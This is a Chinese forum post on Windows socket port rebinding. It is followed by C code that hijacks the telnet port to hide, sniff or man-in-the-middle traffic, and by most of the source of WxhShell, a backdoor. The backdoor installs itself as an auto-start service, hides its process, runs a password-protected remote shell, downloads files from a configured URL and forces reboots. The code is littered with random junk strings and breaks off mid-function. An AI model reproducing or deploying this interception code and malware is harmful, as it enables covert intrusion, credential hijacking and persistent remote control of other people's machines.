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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p$9N}}/c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cuKgO{.GH  
$^ >n@Q@&L  
  saddr.sin_family = AF_INET; 9h0|^ttF  
> %Y#(_~a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nQ~q -=,L  
-5>g 0o2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ` jUn  
>LLzG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q  o=  
7L<oWAq  
  这意味着什么?意味着可以进行如下的攻击: @~N#)L^  
"t\9@nzdX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IS=)J( 0  
*M`[YG19!e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q?0goL  
aPb!-o{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xif`gb6`  
"R30oA#m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O-'T*M>  
u8,T>VNVw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5j}@Of1pd  
3<`h/`ku  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XqwdJND  
WYzY#-j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e4`KnHsL  
QB@*/Le   
  #include ome>Jbdhe  
  #include GYs4#40  
  #include 4%6Q+LS']Q  
  #include    VI+Y4T@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ePY K^D  
  int main() ~ ZDdzp>  
  { ,`Mlo  
  WORD wVersionRequested; b~~}(^Bg  
  DWORD ret; 0WPxzmY  
  WSADATA wsaData; Wex4>J<`/  
  BOOL val; s3knh&'zb  
  SOCKADDR_IN saddr; r-0 7!A  
  SOCKADDR_IN scaddr; G?V3lQI1n  
  int err; k/mY. 2yPv  
  SOCKET s; V('b|gsEo  
  SOCKET sc; wGxLs>| 4  
  int caddsize; M1>a,va8Zq  
  HANDLE mt; D2mB4  
  DWORD tid;   M<L<mP}  
  wVersionRequested = MAKEWORD( 2, 2 ); i@;a%$5  
  err = WSAStartup( wVersionRequested, &wsaData ); (#,.;Y  
  if ( err != 0 ) { v|'N|k l  
  printf("error!WSAStartup failed!\n"); {38aaf|'/  
  return -1; 7xcYM  
  } qqAsh]Z  
  saddr.sin_family = AF_INET; !3&}r  
   ynd}w G'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oy'+n-  
YS~x-5OE\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x~z 2l#ow  
  saddr.sin_port = htons(23); -|T^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Af%?WZlOq  
  { hPH7(f|c{g  
  printf("error!socket failed!\n"); GJ$,@  
  return -1; g-s@m}[T  
  } t.TQ@c+,J  
  val = TRUE; oe<Y,%u"6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hh{liS% 10  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d"cfSH;h  
  { WT)")0)[  
  printf("error!setsockopt failed!\n"); >fdN`W }M  
  return -1; O*PHo_&G  
  } ^ Q}1&w%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zhe5i;M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -I*A  `M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ][mc^eI0s|  
lyPXlt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }:irjeI,  
  { n" ~*9'  
  ret=GetLastError(); pWp2{G^XB  
  printf("error!bind failed!\n"); r/v&tU  
  return -1; K|/a]I":  
  } |{nI.>  
  listen(s,2); LKZI@i)  
  while(1) }X?*o `sW  
  { aVb]H0  
  caddsize = sizeof(scaddr); *l^'v9  
  //接受连接请求 525 >=h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QUDVsN#  
  if(sc!=INVALID_SOCKET) Ss:,#|   
  { +g[B &A!d+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )-{~7@yqZ  
  if(mt==NULL) a8 1%M  
  { @rMW_7[y  
  printf("Thread Creat Failed!\n"); 9|`@czw  
  break; O+$70   
  } MocH>^,  
  } 5HN<*u%z  
  CloseHandle(mt); m [g}vwS  
  } dNobvK  
  closesocket(s); M&FuXG%  
  WSACleanup(); |gz ,Ip{  
  return 0; EHHxCq?  
  }   H^g<`XEgw  
  DWORD WINAPI ClientThread(LPVOID lpParam) C] w< &o  
  { 1sjn_fPz  
  SOCKET ss = (SOCKET)lpParam; U!5*V9T~ J  
  SOCKET sc; (n/1 :'  
  unsigned char buf[4096]; OKVYpf  
  SOCKADDR_IN saddr; < &2,G5XA  
  long num; = 1VH5pVr}  
  DWORD val; gT OMD  
  DWORD ret; :ct+.#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j1 <1D@UO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {p 0'Lc<3n  
  saddr.sin_family = AF_INET; B>ZPn6?y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x,dv ~QU  
  saddr.sin_port = htons(23); q@9 i3*q;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mmL~`i/  
  { H~i],WD  
  printf("error!socket failed!\n"); 81cmG `G7  
  return -1; =@ZtUjcJx  
  } O| ]Ped9  
  val = 100; l,FoK76G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s>\g03=  
  { @45H8|:k  
  ret = GetLastError(); [u80-x<  
  return -1; T6$<o\g'  
  } @UX@puK`/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ai4^NJn  
  { \<B6>  
  ret = GetLastError(); WZ&@ JB  
  return -1; L@r.R_*H?s  
  } H>f{3S-%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )y W_O:  
  { hhAC@EGG  
  printf("error!socket connect failed!\n"); M[u3]dN  
  closesocket(sc); rj~ian  
  closesocket(ss); ssITe., ny  
  return -1; R+0"B  
  } Rk%M~D*-  
  while(1) +3>/,w(x  
  { r5!M;hU1j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rVy\,#|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H$amt^|zQ4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X&.$/xaT  
  num = recv(ss,buf,4096,0); [!? ,TGM}^  
  if(num>0) 2gAdZE&Y  
  send(sc,buf,num,0); ,jsx]U/^  
  else if(num==0) Z(mn U;9{v  
  break; lMez!qx,=  
  num = recv(sc,buf,4096,0); N>%KV8>{L  
  if(num>0) T1HiHvJ  
  send(ss,buf,num,0); [; ?{BB  
  else if(num==0) )]> '7] i  
  break; b^DV9mO4J  
  } ws>Iyw.u  
  closesocket(ss); }#>d2 =T$  
  closesocket(sc); n "KJB  
  return 0 ; -#;VFSz,9*  
  } FR^wDm$  
H)T# R?  
S\g7wXH  
========================================================== MVP)rugU  
X]MM7hMuR  
下边附上一个代码,,WXhSHELL [e@OHQM  
9c}]:3#XO  
========================================================== ?>jArzI  
G>S1Ld'MV  
#include "stdafx.h" )|R0_9CLV  
1vK(^u[  
#include <stdio.h> `Mn{bd  
#include <string.h> OXX(OCG>  
#include <windows.h> 7TPLVa=hO  
#include <winsock2.h> GdeR#%z  
#include <winsvc.h> 4*XP;`  
#include <urlmon.h> e=)* O  
ZX6=D>)u  
#pragma comment (lib, "Ws2_32.lib") _AHB|P I  
#pragma comment (lib, "urlmon.lib") lEb R)B,  
ilcy/  
#define MAX_USER   100 // 最大客户端连接数  Ox*T:5  
#define BUF_SOCK   200 // sock buffer 40d9/$uzh  
#define KEY_BUFF   255 // 输入 buffer B m@oB2x)  
TgE.=`"7  
#define REBOOT     0   // 重启 H&=4y) /.  
#define SHUTDOWN   1   // 关机 h9w^7MbO  
)7"DR+;:  
#define DEF_PORT   5000 // 监听端口 Y1_6\zpA  
oy2dA  
#define REG_LEN     16   // 注册表键长度 \]#;!6ge  
#define SVC_LEN     80   // NT服务名长度 ySK Yqt z  
\3(| c#c  
// 从dll定义API UH,4b`b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +fCyR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k&_u\D"^"%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hOLy*%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >`?+FDOJ,  
VmH_0IM^6  
// wxhshell配置信息 V<NsmC=g  
struct WSCFG { b:5%}  
  int ws_port;         // 监听端口 ;7^j-6  
  char ws_passstr[REG_LEN]; // 口令 }Oh'YX#[  
  int ws_autoins;       // 安装标记, 1=yes 0=no (:bCOEZ  
  char ws_regname[REG_LEN]; // 注册表键名 OK2/k_jXN'  
  char ws_svcname[REG_LEN]; // 服务名 > <  _Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p9 ,\{Is  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bb0McEQy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t"bPKFRy9E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b}*@=X=4o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ))69a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @1SKgbt>  
K-Dk2(x  
}; >-|90CSdSJ  
s?;<F  
// default Wxhshell configuration # pjyhH@  
struct WSCFG wscfg={DEF_PORT, g9weJ6@}M  
    "xuhuanlingzhe", + yP[(b/  
    1, B/9<b{6  
    "Wxhshell", JU=\]E@8c  
    "Wxhshell", C(1A8  
            "WxhShell Service", > ?{iv1  
    "Wrsky Windows CmdShell Service", N7HbOLpM  
    "Please Input Your Password: ", 6[3Ioh  
  1, Zj+}T  
  "http://www.wrsky.com/wxhshell.exe",  Vq)gpR  
  "Wxhshell.exe" X6N]gD  
    }; V.QzMF"o  
L3=YlX`UL  
// 消息定义模块 zEPx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fb{`a[&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X?v ^>mA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NtA|#"^  
char *msg_ws_ext="\n\rExit."; 7ru9dg1?  
char *msg_ws_end="\n\rQuit."; vrm{Ql&  
char *msg_ws_boot="\n\rReboot..."; Va/@#=,q]  
char *msg_ws_poff="\n\rShutdown..."; 6aF'^6+a  
char *msg_ws_down="\n\rSave to "; b6WC @j`*T  
:a f;yu  
char *msg_ws_err="\n\rErr!"; &DbGyV8d"|  
char *msg_ws_ok="\n\rOK!"; 0q>NE <L  
$kD`$L@U  
char ExeFile[MAX_PATH]; 4z0R\tjT  
int nUser = 0; w1"gl0ga$  
HANDLE handles[MAX_USER]; ),y!<\oQ  
int OsIsNt; rm)SfT<  
!8"$d_=h  
SERVICE_STATUS       serviceStatus; T?]kF-   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #-gGsj;F  
=4M.QA@lI!  
// 函数声明 n2y/zP>TC  
int Install(void); Z*vpQBbu  
int Uninstall(void); S`2mtg  
int DownloadFile(char *sURL, SOCKET wsh); /,uSCITD  
int Boot(int flag); Gkodk[VuLs  
void HideProc(void); pT ocqJ22  
int GetOsVer(void); ;(Ajf.i  
int Wxhshell(SOCKET wsl); gGI#QPT`X  
void TalkWithClient(void *cs); @^:7UI_  
int CmdShell(SOCKET sock); Z*)y.i`  
int StartFromService(void); r_V2 J{B  
int StartWxhshell(LPSTR lpCmdLine); EYJi6#  
Ot2zhR )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mOz&6T<|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p'%: M  
~*PK080N}  
// 数据结构和表定义 9HJ'p:{)  
SERVICE_TABLE_ENTRY DispatchTable[] = (Xr_ np @  
{  ENYF0wW  
{wscfg.ws_svcname, NTServiceMain}, 9#EHXgz  
{NULL, NULL} Q0L@.`~  
}; m>abK@5na  
7{K i;1B[w  
// 自我安装 P"V{y|2  
int Install(void) ,. 6J6{  
{ }W__ffH  
  char svExeFile[MAX_PATH]; MKVfy:g%So  
  HKEY key; d Ik8TJ  
  strcpy(svExeFile,ExeFile); !HdvCYB>  
4(Cd  
// 如果是win9x系统,修改注册表设为自启动 ;Oi[:Ck  
if(!OsIsNt) { \&\_>X.,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 20.-;jK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i!1ho T$  
  RegCloseKey(key); #4P3xa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nI`f_sp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *793H\  
  RegCloseKey(key); T]Tdx.B  
  return 0; fd5ZaE#f  
    } OD?y  
  } l}Q"Nb)  
} jIx8k8  
else {  ^6)GS%R  
cD'HQ3+  
// 如果是NT以上系统,安装为系统服务 DD/>{kff  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _4.]A 3;}  
if (schSCManager!=0) >op:0on]}  
{ c|\ZRBdI  
  SC_HANDLE schService = CreateService \uU=O )  
  ( 96"yNqBf  
  schSCManager, V9fGVDl;  
  wscfg.ws_svcname, +{")E)  
  wscfg.ws_svcdisp, <fC@KY>#  
  SERVICE_ALL_ACCESS, ` j&0VIU>>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ()QOZ+x_!  
  SERVICE_AUTO_START, FG DGWcRw~  
  SERVICE_ERROR_NORMAL, 7K>D@O  
  svExeFile, "EcX_>  
  NULL, C%}]"0Q1  
  NULL, &dhcKO<4  
  NULL, %Y cxC0S[  
  NULL, Snc; p  
  NULL 9 3W  
  ); .N~PHyXZR  
  if (schService!=0) y*VQ]aJ  
  { X(Y#9N"  
  CloseServiceHandle(schService); 3I9T|wQ-]  
  CloseServiceHandle(schSCManager); X q}Ucpj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V=j-Um;  
  strcat(svExeFile,wscfg.ws_svcname); Q0zW ]a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v2 29H<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X,C*qw@  
  RegCloseKey(key); @~m=5C  
  return 0; sU) TXL'_!  
    } fD1?z"lo  
  } H~A"C'P3#  
  CloseServiceHandle(schSCManager); ~Cjz29|gp  
} C`\9c ej  
} E,{GU  
Bk?8 zYp  
return 1; v,/[&ASz  
} A /q2g7My  
@ Ii-NmOr  
// 自我卸载 8F#osN  
int Uninstall(void) 2O eshkE  
{ PG{i,xq_B{  
  HKEY key; F%xK"l`&  
\HAJ\9*w)  
if(!OsIsNt) { QX[Djz0H8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <d5@CA+M  
  RegDeleteValue(key,wscfg.ws_regname); 7;&(}  
  RegCloseKey(key); I*EJHBsQ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JnfqXbE  
  RegDeleteValue(key,wscfg.ws_regname); Z&_y0W=t  
  RegCloseKey(key); H&M1>JtE  
  return 0; tAF]2VV(e  
  } B[r<m J  
} ]eE 1n2  
} 3KSpB;HX  
else { RctU'T  
3gAR4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KU-'+k2s;p  
if (schSCManager!=0) 8p&kLo&  
{ 4'',6KJ@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e@E17l-  
  if (schService!=0) H@GE)I>^@  
  { o\Uu?.-<  
  if(DeleteService(schService)!=0) { 1BJ<m5/1%  
  CloseServiceHandle(schService); 6B0# 4Qrv  
  CloseServiceHandle(schSCManager); Gav"C{G  
  return 0; H$!+A  
  } Z7fg 25  
  CloseServiceHandle(schService); MaO"#{i  
  } gH[,Xx?BN!  
  CloseServiceHandle(schSCManager); Ojq]HM6f  
} zJ+3g!  
} mzWP8Hlw  
l _+6=u  
return 1; hoenQ6N^:  
} XVt/qb%)r  
e+.\pe\  
// 从指定url下载文件 l4rMk^>>  
int DownloadFile(char *sURL, SOCKET wsh) ~2@Lx3t$  
{ (9 sIA*,}  
  HRESULT hr; jNA1O68N  
char seps[]= "/"; |~WYEh  
char *token; UUeB;'E+  
char *file; /@hJpz|+   
char myURL[MAX_PATH]; )tS-.PrA-  
char myFILE[MAX_PATH]; WK0C  
t V03+&jF  
strcpy(myURL,sURL); kZLMtj-   
  token=strtok(myURL,seps); 4U=75!>  
  while(token!=NULL) Z<U>A   
  { ]ab#q=  
    file=token; XM/vDdR  
  token=strtok(NULL,seps); Tkw;pb  
  } LH2PTW\b!6  
}u%"$[I}  
GetCurrentDirectory(MAX_PATH,myFILE); |S&5es-yW  
strcat(myFILE, "\\"); KB!5u9  
strcat(myFILE, file); 87V1#U^  
  send(wsh,myFILE,strlen(myFILE),0); UL( lf}M  
send(wsh,"...",3,0); j?6X1cMq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wG 1l+^p  
  if(hr==S_OK) (&[[46  
return 0; +H_MV=A^  
else )55\4<ty  
return 1; 2#vv$YD  
=wG+Ao  
} <P_ea/5:|  
~=En +J}*  
// 系统电源模块 bl;zR  
int Boot(int flag) V5mlJml2(  
{ e$e#NoN  
  HANDLE hToken; ";x+1R.d  
  TOKEN_PRIVILEGES tkp; tnz+bX26  
Ub_4yN;  
  if(OsIsNt) { yHeEobvb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4nqoZk^R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -oyO+1V  
    tkp.PrivilegeCount = 1; j}:~5|.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :K':P5i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =8Ehrlq  
if(flag==REBOOT) { }tG3tz0%fX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2&Jd f  
  return 0; [8XLK4e  
} ?kTWpXx"=  
else { $s\UL}Gc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;@3FF  
  return 0; )JD(`  
} ;`dh fcU  
  } WG u%7e]  
  else { x%N\5 V1  
if(flag==REBOOT) { .fYZ*=P;c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _:g&,2bc  
  return 0; y "w|g~x]c  
} pZ(Fx&fy  
else { +nL+ N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D)@XoM(  
  return 0;  k5`OH8G  
} -%CoWcGP  
} (:pq77  
5fJ[}~  
return 1; 4)6xU4eBaL  
} _[K"gu  
Dg HaOAdU  
// win9x进程隐藏模块 3;[DJ5  
void HideProc(void) A"v{~  
{ Q`%R[#  
T?Fcohz(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FV39QG4b4  
  if ( hKernel != NULL ) 4|?{VQ  
  { I$t3qd{H&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D${={x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5O/i3m26  
    FreeLibrary(hKernel); I 1Sa^7  
  } %+)o'nf"U  
@}-r&/#  
return; ->^~KVh&  
} h#r^teui)  
\2 y5_;O  
// 获取操作系统版本 kq=V4-a[  
int GetOsVer(void) FQz?3w&ia  
{ a:, y Z  
  OSVERSIONINFO winfo; ;`YkMS`=W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <A5]]{9 +  
  GetVersionEx(&winfo); |RkcDrB~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q/ms]Du  
  return 1; N6OMY P1  
  else i_R e*  
  return 0; /u%h8!"R  
} &MZ$j46  
nlYR-.  
// 客户端句柄模块 YevyN\,}V!  
int Wxhshell(SOCKET wsl) M:KbD|  
{ g7V8D  
  SOCKET wsh; l_'[27  
  struct sockaddr_in client; N==ZtKj F  
  DWORD myID; /cr}N%HZB  
:~Q!SL N  
  while(nUser<MAX_USER) }R[#?ty;]  
{ $?G"GQ!.  
  int nSize=sizeof(client); g>rp@M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m([(:.X/IX  
  if(wsh==INVALID_SOCKET) return 1; oX@ya3!Pz  
)tHaB,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LVJI_O{fH  
if(handles[nUser]==0) 7hW+T7u?  
  closesocket(wsh); b-U eIjX  
else =L|tp%!  
  nUser++; aNn"X y\ k  
  } /M;#_+VK<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aI(7nJ=R  
NcOPL\  
  return 0; o%{'UG  
} 4/kv3rv  
`1*nL,i  
// 关闭 socket oI:o"T77sA  
void CloseIt(SOCKET wsh) 2~[@_  
{ &6 s) X  
closesocket(wsh); `@d<n  
nUser--; 8$s9(n-_Y  
ExitThread(0); tM-^<V&  
} VErv;GyV  
XqRJr%JH  
// 客户端请求句柄 G+xt5n.%  
void TalkWithClient(void *cs) D4eTTfQ  
{ tWTKgbj(  
'i;|c  
  SOCKET wsh=(SOCKET)cs; R[z`:1lo  
  char pwd[SVC_LEN]; a,F&`Wg  
  char cmd[KEY_BUFF]; 8.' #?]a  
char chr[1]; KrVcwAcq|1  
int i,j; ^-mRP\5  
S##1GOO  
  while (nUser < MAX_USER) { \^(0B8|w  
SG}V[Glk  
if(wscfg.ws_passstr) { Gb[`R}^dq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Djk C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D|Iur W1f  
  //ZeroMemory(pwd,KEY_BUFF); 2!&&|Mh}  
      i=0; t?o ,RN:  
  while(i<SVC_LEN) { b|Q)[y]  
iGB_{F~t4}  
  // 设置超时 g%F"l2M  
  fd_set FdRead; l`kWz5[~  
  struct timeval TimeOut; J q{7R  
  FD_ZERO(&FdRead); 1im^17 X  
  FD_SET(wsh,&FdRead); oH0X<'  
  TimeOut.tv_sec=8; 43?^7_l-  
  TimeOut.tv_usec=0; _&K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |KB0P@=a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j!7`]  
izh<I0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y\N|<+G+  
  pwd=chr[0]; -a*K$rnB  
  if(chr[0]==0xd || chr[0]==0xa) { x^Yl*iq  
  pwd=0; zR!o{8  
  break; 5es[Ph|K5  
  } yc|VJ2R*  
  i++; 1@u2im-O  
    } k = ?h~n0M  
WI]o cF  
  // 如果是非法用户,关闭 socket ^[%%r3"$C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V8eB$in  
} ,-x!$VqS  
OD' ]:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $$:ZX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $/6;9d^  
2[0JO.K 4  
while(1) { *:i1Lv@  
"V{yi!D{<  
  ZeroMemory(cmd,KEY_BUFF); G:x*BH+  
e><5Pr)  
      // 自动支持客户端 telnet标准   v]__%_  
  j=0; ^(viM?*  
  while(j<KEY_BUFF) { 4f(Kt,0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XeBP`\>Ve  
  cmd[j]=chr[0]; Sa19q.~%  
  if(chr[0]==0xa || chr[0]==0xd) { r`c_e)STO  
  cmd[j]=0; >0p$(>N]  
  break; b64 @s2]  
  } $gBd <N9|c  
  j++; jxJv.  
    } }|%eCVB  
?g!V!VS2  
  // 下载文件 P/&]?f0/  
  if(strstr(cmd,"http://")) { ''\;z<v   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &3J@BMYp  
  if(DownloadFile(cmd,wsh)) drs B/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -W,}rcj*|  
  else (C]o,7cYS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 29XL$v],  
  } ? FfC  
  else { wP"dZagpj  
Qr  Wj>uR  
    switch(cmd[0]) { K't]n{$  
  bQ|V!mrN}  
  // 帮助 1s1=rZ!  
  case '?': { %e*@CbO$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5SkW-+$  
    break; 5>AX*]c  
  } T{wuj[ Q#:  
  // 安装 u&wiGwF[  
  case 'i': { j5@:a  
    if(Install()) L@JOGCYy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2uOR{ '?  
    else p&VU0[LIC0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \QU^>2 3  
    break; &@ JvnO:  
    } (knp#   
  // 卸载 9'hv%A:\3  
  case 'r': { mZ1)wH,  
    if(Uninstall()) u1xSp<59C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A)ipFB 6K  
    else Fs[aa#v4B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p$spQ  
    break; ePIiF_X  
    } _=|vgc  
  // 显示 wxhshell 所在路径 l7De6A"  
  case 'p': { Fd*8N8Pi  
    char svExeFile[MAX_PATH]; M:5b4$Qh<  
    strcpy(svExeFile,"\n\r"); C* nB  
      strcat(svExeFile,ExeFile); 'mV9{lj7E  
        send(wsh,svExeFile,strlen(svExeFile),0); If%/3UJ@  
    break; Z4IgBn(Z_}  
    } '=P7""mN5  
  // 重启 %,ngRYxT#  
  case 'b': { JmEj{K<3I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F:mq'<Q  
    if(Boot(REBOOT)) 0Ia($.1mY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\H[am  
    else { iX3HtIBj'  
    closesocket(wsh); N>>uCkC  
    ExitThread(0); tDAhyy73  
    } "fq{Y~F%`  
    break; C!7>1I~5  
    } <]G]W/eB'  
  // 关机 ;NlWb =  
  case 'd': { "Ky; a?Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .KdyJ6o  
    if(Boot(SHUTDOWN)) } (!EuLL  
